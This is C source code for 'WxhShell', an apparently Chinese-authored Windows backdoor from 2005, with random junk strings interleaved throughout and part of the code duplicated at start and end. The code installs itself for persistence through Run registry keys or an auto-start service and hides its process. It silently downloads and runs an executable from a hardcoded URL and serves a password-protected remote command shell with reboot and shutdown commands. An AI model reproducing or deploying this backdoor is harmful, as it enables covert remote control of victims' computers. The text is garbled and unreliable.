X_Lt{mf DWORD BasePriority; d<OdQvW. ULONG UniqueProcessId; GK11fZpO:i ULONG InheritedFromUniqueProcessId; s-SFu } PROCESS_BASIC_INFORMATION; Z)(#D($- jYAm}_?No PROCNTQSIP NtQueryInformationProcess; ZWuNl!l> INk|NEX static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; o%lxEd r static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h'G wt@TR~a HANDLE hProcess; IR2Qc6+{ PROCESS_BASIC_INFORMATION pbi; @0H0!9' qycf;Kl:6 HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Bmt8yR2 if(NULL == hInst ) return 0; bY,dWNS: UHfE.mTjM g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); G;/>
N'# g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +[i r7?Y. NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5HbJE' c@]G;> o if (!NtQueryInformationProcess) return 0; D2o|.e<r XD!}uDZ^ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ]-X\n
if(!hProcess) return 0; 5\JV } y[cc<wm$ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "k"+qR`fH /s(PFN8#Y CloseHandle(hProcess); n2c(x\DA& Ha ZV7 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Eoo[H2=^H if(hProcess==NULL) return 0; 1v3 ?0z/i^I HMODULE hMod; M,{; xf char procName[255]; 0$yHO2 f unsigned long cbNeeded; Ae^4 >U4bK^/Bp if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); P$ b5o fyx Q{J CloseHandle(hProcess); NX;{L#lQ BjjuZN& if(strstr(procName,"services")) return 1; // 以服务启动 SZ4@GK Ut1s~b1 return 0; // 注册表启动 MD4mh2 } ]5ibg"{S T# tFzbr // 主模块 /d}5R@Oy int StartWxhshell(LPSTR lpCmdLine) 0&&P+adk { drwxrZt SOCKET wsl; =''*'a-P BOOL val=TRUE; Y<@_d int port=0; l:#'i`; struct sockaddr_in door; slr>6o%W` 0}kvuuR if(wscfg.ws_autoins) Install(); 3_eg'EP.E f
e^s`dsG port=atoi(lpCmdLine); b*nI0/cbR. K6~')9Q if(port<=0) port=wscfg.ws_port; DEfhR?v R
iLqMSq WSADATA data; xAn|OSe if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; QqeF @k:@mzB7R if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; &Dp& setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9]{Ss$W3x door.sin_family = AF_INET; t[ b(erO' door.sin_addr.s_addr = inet_addr("127.0.0.1"); B(-F|q\ door.sin_port = htons(port); fl_a@QdB# 'P&r^V\~(/ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { mII8jyg*c closesocket(wsl); \naG return 1; :2{ [f+ } V*6&GM& l,b_'
m@ if(listen(wsl,2) == INVALID_SOCKET) { t#]VR7] closesocket(wsl); 8L@@UUjr return 1; e5ww~%, } RD:LNl<0sh Wxhshell(wsl); = j
l(Q WSACleanup(); IeIv k55 lrMkp@f. return 0; `soQp2h- *Hh*!ePp } hH?ke(&=f _B}QS"A // 以NT服务方式启动 oJ=u
pnBn- VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) diw5h};W { GL&rT& DWORD status = 0; p1ER<_fp DWORD specificError = 0xfffffff; o3OJI_
v& L{c\7 serviceStatus.dwServiceType = SERVICE_WIN32; ~;wR}s<}( serviceStatus.dwCurrentState = SERVICE_START_PENDING; <&t[E0mU serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; SQw"mO serviceStatus.dwWin32ExitCode = 0; K~8!Gh{h] serviceStatus.dwServiceSpecificExitCode = 0; .d4&s7n0 serviceStatus.dwCheckPoint = 0; ]b^bc2: serviceStatus.dwWaitHint = 0; %NL7XU[~ P\
2Bx *e hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f5nAD if (hServiceStatusHandle==0) return; <|a9r: [ DEzL] 1;P status = GetLastError(); wqXo]dX if (status!=NO_ERROR) baf@"P9@\A { V Z60 serviceStatus.dwCurrentState = SERVICE_STOPPED; 6lxZo_ serviceStatus.dwCheckPoint = 0; dSzq}w4xY serviceStatus.dwWaitHint = 0; k0DX|O8mXV serviceStatus.dwWin32ExitCode = status; OadGwa\:s serviceStatus.dwServiceSpecificExitCode = specificError; QVR-`d/ SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9Bu=8P? return; hN1{?PQ } j0e1CSE 6rAenK-% serviceStatus.dwCurrentState = SERVICE_RUNNING; Y3luU&' serviceStatus.dwCheckPoint = 0; w6k^|." serviceStatus.dwWaitHint = 0; mw=keY9] if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -.vNb!= } IBv9xP]BZ Sj4 @pMh4 // 处理NT服务事件,比如:启动、停止 [#2z=Xg VOID WINAPI NTServiceHandler(DWORD fdwControl) \88IFE { @,q<][q switch(fdwControl) P-\T BS_O { js=w!q0)9 case SERVICE_CONTROL_STOP: ns8I_H serviceStatus.dwWin32ExitCode = 0; \,b_8^ serviceStatus.dwCurrentState = SERVICE_STOPPED; [-Mfgw]i serviceStatus.dwCheckPoint = 0; (Yc}V serviceStatus.dwWaitHint = 0; `q1K%id { ezk:XDi4 SetServiceStatus(hServiceStatusHandle, &serviceStatus); |F>'7JJJ } *IC9))PGJ return; bd.t|A case SERVICE_CONTROL_PAUSE: cU=EXyP% serviceStatus.dwCurrentState = SERVICE_PAUSED; HBgt!D0MZ break; :B4X/ case SERVICE_CONTROL_CONTINUE: |Iq\ZX%q serviceStatus.dwCurrentState = SERVICE_RUNNING; .n|
M5X break; S
5nri(m case SERVICE_CONTROL_INTERROGATE: Q<Th*t break; Hh<}~s }; G]fx3= SetServiceStatus(hServiceStatusHandle, &serviceStatus); qr7_3 } 80O[pf*? Z <tJ+ // 标准应用程序主函数 H52] Zm int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 3sBu`R*hk { s$OnQc2/ \Ot,&Z k2 // 获取操作系统版本 p< jM%fbZk OsIsNt=GetOsVer(); c5tCw3$t GetModuleFileName(NULL,ExeFile,MAX_PATH); B976{;QvXV sBu- \P# // 从命令行安装 A!!W\Jt if(strpbrk(lpCmdLine,"iI")) Install(); p\/;^c`7 k7Xa|&fQP< // 下载执行文件 5?4jD]Z if(wscfg.ws_downexe) { rM(2RI4O`0 if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) -*C+z!?BP WinExec(wscfg.ws_filenam,SW_HIDE); i!EN/Bd } x AR9* <- '|l1-yD_ if(!OsIsNt) { 4P}<86xk // 如果时win9x,隐藏进程并且设置为注册表启动 #a"gW,/K HideProc(); ,Tc598D StartWxhshell(lpCmdLine); dJd(m&.|N } wloQk(T<W else xD<:'-ri> if(StartFromService()) +}0/ %5 =1 // 以服务方式启动 D[ (A`!) StartServiceCtrlDispatcher(DispatchTable); +&hd3 else bIahjxd: // 普通方式启动 g)#neEA J StartWxhshell(lpCmdLine); q~:k[@`. ]l4#KI@ return 0; P_ x9:3 } ey>V^Fj r@Tq-o 0SLS;s.GX P mgTTI =========================================== sKI{AHJ?X rXlJW]i WfE,U=e* I='S). |/-H:\5 n$}Cj}eju " li?RymlF %-eags~sUC #include <stdio.h> IH1
fvW
e #include <string.h> H$i4OQ2 #include <windows.h> z<c@<M=Q* #include <winsock2.h> fB3W} dr #include <winsvc.h> !4B($]t #include <urlmon.h> 6{p]cr c31k%/. #pragma comment (lib, "Ws2_32.lib") m#a0HH #pragma comment (lib, "urlmon.lib") z tLP {q# 4:p+C-gs #define MAX_USER 100 // 最大客户端连接数 |+Fko8- #define BUF_SOCK 200 // sock buffer \-B8`ah #define KEY_BUFF 255 // 输入 buffer Hqpw Q R4Vi*H #define REBOOT 0 // 重启 {m/h3hjFa #define SHUTDOWN 1 // 关机 ]N+(SU WM_wkvYl #define DEF_PORT 5000 // 监听端口 ,KHebv! \]eB(&nq #define REG_LEN 16 // 注册表键长度 OZ6gu$
n* #define SVC_LEN 80 // NT服务名长度 -mlBr63Bj HG/`5$L
+} // 从dll定义API S~mpXH@ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); )ieT/0nt typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); W7QcDR y6 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 2Po e-= typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); "
E
U[Lb 8f37o/L // wxhshell配置信息 tGcp48R-:+ struct WSCFG { VnB"0"%w int ws_port; // 监听端口 b]Xc5Dp{ char ws_passstr[REG_LEN]; // 口令 ,dM}B- int ws_autoins; // 安装标记, 1=yes 0=no { ke}W char ws_regname[REG_LEN]; // 注册表键名
mPy=,xYyC char ws_svcname[REG_LEN]; // 服务名 }x^q?;7xW char ws_svcdisp[SVC_LEN]; // 服务显示名 ~al4`:rRx1 char ws_svcdesc[SVC_LEN]; // 服务描述信息 Rh:edQ# char ws_passmsg[SVC_LEN]; // 密码输入提示信息 <V-D int ws_downexe; // 下载执行标记, 1=yes 0=no GDgq
4vfj char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V~>
x\ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 WML%yO\.; [h>RO55e }; <TL!iM l H@hV // default Wxhshell configuration J~3+j6?% struct WSCFG wscfg={DEF_PORT, 6 ZutU ~HS "xuhuanlingzhe", /K{`gc 1, G G]4g)O5 "Wxhshell", k/&~8l.$ "Wxhshell", 0T{Z'3^= "WxhShell Service", U&uop$/Cq "Wrsky Windows CmdShell Service", I$7#Z!P6| "Please Input Your Password: ", "[[9i 1, Yz?4eSa/ "http://www.wrsky.com/wxhshell.exe", H]7MN Y "Wxhshell.exe" 1/O7KR`K }; tiI:yq0 O(~74:#* // 消息定义模块 +5|wd6 char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J_]B,'
6 char *msg_ws_prompt="\n\r? for help\n\r#>"; bF5 mCR: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #-wtNM%1# char *msg_ws_ext="\n\rExit."; l0^~0xlED char *msg_ws_end="\n\rQuit."; Gy+/P6 char *msg_ws_boot="\n\rReboot..."; xU4,R cgo char *msg_ws_poff="\n\rShutdown..."; SL9]$M mJn char *msg_ws_down="\n\rSave to "; o\oS_f:RD ^{3,ok*Nf char *msg_ws_err="\n\rErr!"; 9U[
A char *msg_ws_ok="\n\rOK!"; BM_hW8&G +}al_. char ExeFile[MAX_PATH]; Hy _ ( int nUser = 0; w^e5" og] HANDLE handles[MAX_USER]; >}tm8|IHoo int OsIsNt; &&/2oP+z @j/UDM SERVICE_STATUS serviceStatus; "Zo<$p3] SERVICE_STATUS_HANDLE hServiceStatusHandle; h/7m.p] ^h}xFiAV# // 函数声明 bG`aF*10)! int Install(void); dWhki|c int Uninstall(void); 9"5J-a' int DownloadFile(char *sURL, SOCKET wsh); {s8v0~ int Boot(int flag); uAd4Zz void HideProc(void); z@Klj qN int GetOsVer(void); _sEkKh8x int Wxhshell(SOCKET wsl); >l & N void TalkWithClient(void *cs); owz6j: int CmdShell(SOCKET sock); W+v7OSd92 int StartFromService(void); VM
3~W int StartWxhshell(LPSTR lpCmdLine); jA&ZO>4 3oH .1M/ VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T}%8Vlt] VOID WINAPI NTServiceHandler( DWORD fdwControl ); +HGPn0As X,)`<
>=O // 数据结构和表定义 G4=R4'hC SERVICE_TABLE_ENTRY DispatchTable[] = hRU.^Fn#% { {$,t^hd {wscfg.ws_svcname, NTServiceMain}, lr>P/W\ {NULL, NULL} f~HC%C
YH }; @WmEcX| s4RqY*VK // 自我安装 bi^[Eh int Install(void) rHzwSR@}1 { &!|' EW char svExeFile[MAX_PATH]; P4&3jQ[o HKEY key; i&%~:K* strcpy(svExeFile,ExeFile); -@6R`m=> R^DZ@[\iV // 如果是win9x系统,修改注册表设为自启动 )=KD if(!OsIsNt) { Hs}3c
R} if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k[ {h$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h!k[]bt5 RegCloseKey(key); =l7@YCj5c if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { - '<K_e; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); I?2S{]!? RegCloseKey(key); cPFs K*w return 0; p_^Jr*Mv } r#svj*dn } ,".1![b } |ia#Elavo else { ]LcCom:] wZ&l6J4L // 如果是NT以上系统,安装为系统服务 WOw( - SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); )Z.v fc if (schSCManager!=0) 3sh}( { 4^3}+cJ7j SC_HANDLE schService = CreateService :5YL!D/& ( DZ-2Z@{PX schSCManager, C;mcb$@ wscfg.ws_svcname, Pv- i. wscfg.ws_svcdisp, reBAxmt SERVICE_ALL_ACCESS, ~pv| SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y(a0*fh SERVICE_AUTO_START, MBeubS SERVICE_ERROR_NORMAL, Wu}84W"!.V svExeFile, 16J"QUuG NULL, ><t4 f(d NULL, 8>\tD NULL, J@CKgE NULL, A_:CGtv: NULL MmI[: ); ECZ`I Z. if (schService!=0) $N; Nvp2 { <$" CloseServiceHandle(schService);
U]o CloseServiceHandle(schSCManager); zJ"`40V*; strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); No|T#=BZ[ strcat(svExeFile,wscfg.ws_svcname); Kc3BVZ71 if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ? Zhnb0/ RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Gr),o6}p RegCloseKey(key); S.4gfY return 0; DlMT<ld } | e?:Uq } bS1?I@ CloseServiceHandle(schSCManager); )#(6J } >}"9heF } -nHt6AbqP K:<j=j@51 return 1; [w1 4hHnq } -Lo3@:2i nzcXL
=^r3 // 自我卸载
z(YzK int Uninstall(void) d~0k}|> { 3qlY=5Y HKEY key; I_dO*k%l H.Q648A"PF if(!OsIsNt) { o_i N(K if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r5>1n/+6 RegDeleteValue(key,wscfg.ws_regname); Q\QSnMM&] RegCloseKey(key); S6<z2-y if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (C3:_cM5 RegDeleteValue(key,wscfg.ws_regname); Wb1?>q RegCloseKey(key); 4#^E$N: return 0; DN$[rCi7 } 6rP?$mn2 } ^t2b`n60 } _
SuW86 else { :{g;J &1 BACKu SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 6zZT5
Kn if (schSCManager!=0) )/p=ZH0[ { D\4pLm"!v SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); I2&R+~ktR if (schService!=0) }!`_Bz: { vWs#4JoG if(DeleteService(schService)!=0) { {%&!x;% CloseServiceHandle(schService); 59@PY! c> CloseServiceHandle(schSCManager); S/2lK*F return 0; _+aMP=H } N 4!18{/2 CloseServiceHandle(schService); Ib&]1ger#= } +$;#bw)yH CloseServiceHandle(schSCManager); ]4X08Cm^ } 5qL;@Y } O{<uW- ~VKuRli|m return 1; Ux!q(9<_ } <Od5} fi
tsu"G // 从指定url下载文件 .FdzEauVc int DownloadFile(char *sURL, SOCKET wsh) F*Y]^9] { yt4sg/]: HRESULT hr; .',d*H))E7 char seps[]= "/"; *-vH64e char *token; r+W;}nyf char *file; '44I}[cA/ char myURL[MAX_PATH]; =^5#o)~BB char myFILE[MAX_PATH]; d%~OEq1i" g9.y`o}c strcpy(myURL,sURL); W[G5+*i token=strtok(myURL,seps); U&'Xsz while(token!=NULL) 8+n*S$ { 0hpU9w}12 file=token; s}93nv*ez token=strtok(NULL,seps); O4g2s8k } ww5UQs2sn mD_sf_2> GetCurrentDirectory(MAX_PATH,myFILE); "Q.KBX v/ strcat(myFILE, "\\"); n|'}W+ strcat(myFILE, file); CxV$_J send(wsh,myFILE,strlen(myFILE),0); ,{jF)NQaP send(wsh,"...",3,0); 3-T"[tCe hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k++" if(hr==S_OK) Yma-$ytp return 0; f{w[H S,z else .P(Ax:g return 1; ~5;2 ni8n m:W+s4!E } r]B`\XWz G@4n]c_ // 系统电源模块 U:fGIEz{ZY int Boot(int flag) p;<aZ&@O { 9TUB3x^ HANDLE hToken; S^:7V[=EgI TOKEN_PRIVILEGES tkp; =KW~k7TaN A5IW[Gu! if(OsIsNt) { w\}Q.$@ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); \GdsQAF" LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w?JM;'<AYQ tkp.PrivilegeCount = 1; W5(.Hub} tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; m0,TH[HWGF AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~(-df> if(flag==REBOOT) { mum4Uj if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) cq4sgQ?sW return 0; q M(@wFg } xxZO{_q else { XNr8,[c if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9`Y\`F#}q return 0; rebWXz7 } !a7YM4D } AmX ~KK else { M=sGPPj if(flag==REBOOT) {
(2dkmn if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) |H'wDw8 return 0; H03R?S9AQ }
, D} else { @ [<B:Tqo if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Dq<!wtFG[ return 0; V`_)H } k&pV`.Imi } #^9a[ZLj0 tKCX0UZ' return 1; ,xg(F0q } s(r1q$5 n*m"yp // win9x进程隐藏模块 i{}Q5iy void HideProc(void) Gxw>.O){ { 4p&YhV7j)o t]XF*fZH HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 8S@"6TG`
if ( hKernel != NULL ) nyx(0 { blmY=/] pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); VX'G\Zz@h| ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); yUX<W'-Hev FreeLibrary(hKernel); >8EmfjUoc } ;BW-ag \9 ,L;%-}#$ return; L[. )!c8k } zC WN,K` t|v_[Za}Z // 获取操作系统版本 -"x25~k!?F int GetOsVer(void) %5Zhq> { MNH-SQB | OSVERSIONINFO winfo; n=%D}W winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B18?)LA GetVersionEx(&winfo); BUU ) Sz if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) #F:\_!2c return 1; 4=ZN4=(_[ else tREC)+*\ return 0; S!g0J}.z } f"d4HZD^ L r9z~T:ED // 客户端句柄模块 ?dQ#%06mn int Wxhshell(SOCKET wsl) ?#J;[y\^ { D)J'xG_<O SOCKET wsh; f=Kt[|%'e struct sockaddr_in client; ~?:Xi_3Lo DWORD myID; mO@Sl(9 VR vX^w0 while(nUser<MAX_USER) S!R:a>\ { gFw-P#t int nSize=sizeof(client); m8z414o wsh=accept(wsl,(struct sockaddr *)&client,&nSize); m$A-'*' if(wsh==INVALID_SOCKET) return 1; C''[[sw'K Z]k+dJ[- handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); d^G5Pq if(handles[nUser]==0) iYl{V']A closesocket(wsh); (lLCAmK5? else j)lgF: nUser++; {3N5Fi7S } FSyeDC^@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); giu8EjzK 1fcyGZq return 0; b)+;@wa~ } W4rh7e4 i&zJwUr(< // 关闭 socket ufXU void CloseIt(SOCKET wsh) ^Z G 3{> { g?e-D.pSF closesocket(wsh); S3Sn_zqG nUser--; <j^"=UN4# ExitThread(0); @EGUQ|WL^ } LO;Z3Q>#0 RLUH[[ // 客户端请求句柄 J7$JW3O void TalkWithClient(void *cs) ul ag$ge { zHt}`>y& 1/vcj~|)t SOCKET wsh=(SOCKET)cs; e(EXQP2P> char pwd[SVC_LEN]; Jk=d5B char cmd[KEY_BUFF]; E@S5|CM char chr[1]; )jaNFJ
3 int i,j; O<`\9 82~ZPZG while (nUser < MAX_USER) { TDjjaO ~e R6[; if(wscfg.ws_passstr) { 5wGc"JHm if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); F(+dX4$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mc}r15:< //ZeroMemory(pwd,KEY_BUFF); q@&.)sLPgO i=0; UZ3oc[#D=] while(i<SVC_LEN) { =]hPX =U<6TP]{ // 设置超时 m/>z}d05h fd_set FdRead; XCku[?Ix struct timeval TimeOut; [iT#Pu5 FD_ZERO(&FdRead); 6j=a FD_SET(wsh,&FdRead); rw]*Nxgr TimeOut.tv_sec=8; PU{7s TimeOut.tv_usec=0; ]QK@zb}x int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9lCZi? if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1
Ll<^P {;Ispx0m if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); h]#bPb pwd=chr[0]; pxO?:B if(chr[0]==0xd || chr[0]==0xa) { 'CC;=@J pwd=0; nLv"ON~ break; yct^AN|% } /Jw65 e i++; 4e 55 } H:&|q+K=# >XiTl;UU // 如果是非法用户,关闭 socket ]aVFWzey if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mtu`m6Xix } a]u1_ $) vW:XM0 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 6=xbi{m$ send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \IG"Te 4'ymPPY while(1) { ~}F$1;t0 JYU0&nZl4 ZeroMemory(cmd,KEY_BUFF); =/]d\JSp ,6FmU$
Kn // 自动支持客户端 telnet标准 6Y(Vs> j=0; 0(~,U!g[= while(j<KEY_BUFF) { 3-Xc3A=w if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); C!r9+z)< cmd[j]=chr[0]; 6Jf\}^4@k if(chr[0]==0xa || chr[0]==0xd) { _&
qM^ cmd[j]=0; KZ}F1Mr break; <!M ab} } 6su^yt j++; -H;p +XAY } ]$gBX= @(_M\>!%M // 下载文件 fooQqWC) if(strstr(cmd,"http://")) { Q-LDFnOFwp send(wsh,msg_ws_down,strlen(msg_ws_down),0); muqIh!nn if(DownloadFile(cmd,wsh)) =7WE send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]jL`*tI\S else 3d0Yq send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (e$/@3* } dJ0qg_ U& else { yAt,XG3 ,awp)@VG7 switch(cmd[0]) { R^=)Ucj (ON_(MN
// 帮助 j.L`@ case '?': { z|gG%fM send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); jS,zdJs= break; `*nK@: } rZBOWT // 安装 e~,/Z\i case 'i': { 6s"Erq5q if(Install()) Py)'%e send(wsh,msg_ws_err,strlen(msg_ws_err),0); uBe1{Z else )~X*&(7RR} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); O]Mz1 ev| break; '<YVDB&-d, } _(<D*V[ // 卸载 9-9:]2~g! case 'r': { bl)iji`] if(Uninstall()) &E>zvRBQ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8I'Am"bc\ else J0hY~B~X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 3)J0f+M>dv break; \dL#PI3 } >
CPJp!u // 显示 wxhshell 所在路径 L8FLHT+R- case 'p': { gTp){ char svExeFile[MAX_PATH]; _\P9~w
` strcpy(svExeFile,"\n\r"); }m~2[5q%/ strcat(svExeFile,ExeFile); p<@0b send(wsh,svExeFile,strlen(svExeFile),0); O!(FNv0 break; !PfI e94{` } ir4uy // 重启 lilKYrUmG case 'b': { fJ?$Z| send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ]eJjffx if(Boot(REBOOT)) !:[kS1s>M send(wsh,msg_ws_err,strlen(msg_ws_err),0); tilL7 else { jaj."v closesocket(wsh); `euk&]/^.) ExitThread(0); }Dig'vpMx } wb>>bV+U break; ;b""N, } (]yOd/ru/C // 关机 +C{ %pF case 'd': { m*h, <,}-+ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OudD1( )W if(Boot(SHUTDOWN)) 7b2N'^z} send(wsh,msg_ws_err,strlen(msg_ws_err),0); %0PZZl5b else { Hset(-=X closesocket(wsh); H:ar&o#( ExitThread(0); GA{Q6]B } J! @$lyH break; 6c3+q+#J2 } &S.zc@rN // 获取shell eKL)jzC: case 's': { HgwL~vG CmdShell(wsh); 5O9Oi:-!c closesocket(wsh); _J51:pi ExitThread(0); c{Ax{-'R break; L7jMpz& } RoXU>a:nS // 退出 ; b2)WM: case 'x': { 7^bO` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w@Pc7$EP CloseIt(wsh); 5@+8*Fdk break; UN&b]vg } f.gkGwNk // 离开 7/;Xt& case 'q': { ^ ,Bxq^'D send(wsh,msg_ws_end,strlen(msg_ws_end),0); &/7AW(? closesocket(wsh); "jVMk WSACleanup(); T
x_n$ & exit(1); P]Z}%
8^O break; <dTo-P } ;X u&['
} )T6+} } ,/\%-u?
1x |5}{4k~9J // 提示信息 a4
g~'^uC if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 0;Y_@UVj } f 8E
S
GU } u OEFb ;APpgt4 return; FU0&EO } lqOv_q %}G:R!4 d // shell模块句柄 Q1Z;vzQfg int CmdShell(SOCKET sock) %S22[;v{N { G!uQ|<( STARTUPINFO si; G }<q ZeroMemory(&si,sizeof(si)); U~SK 'R si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; A+j~oR si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; AZ5c^c) PROCESS_INFORMATION ProcessInfo; #Dx$KPD char cmdline[]="cmd"; bwo" s[w CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); O'deQq[ return 0; m=2TzLVv } /^v4[] }k}5\%#li5 // 自身启动模式 J4te!, int StartFromService(void) 8zz-jkR { Q]7Q4U typedef struct _OT kv6;4n { W K#lE&V3 DWORD ExitStatus; |B4dFI? DWORD PebBaseAddress; /Mf45U< DWORD AffinityMask; LiJ;A* DWORD BasePriority; io:?JnQSA ULONG UniqueProcessId; Gq;0j:?CC ULONG InheritedFromUniqueProcessId; 6^['g-\2 } PROCESS_BASIC_INFORMATION; KhZ'Ic[vw G7C9FV bR PROCNTQSIP NtQueryInformationProcess; +v&+8S`+ R+Ke|C static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l\5qa_{z static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 3}$L4U #hzs,tvvD HANDLE hProcess; XH)MBr@Fz PROCESS_BASIC_INFORMATION pbi; iD@2_m) 2o/}GIKj HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); W.o
W=< if(NULL == hInst ) return 0; PG)dIec z@VY s g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); A1\;6W: g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); K^H=E NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #(CI/7
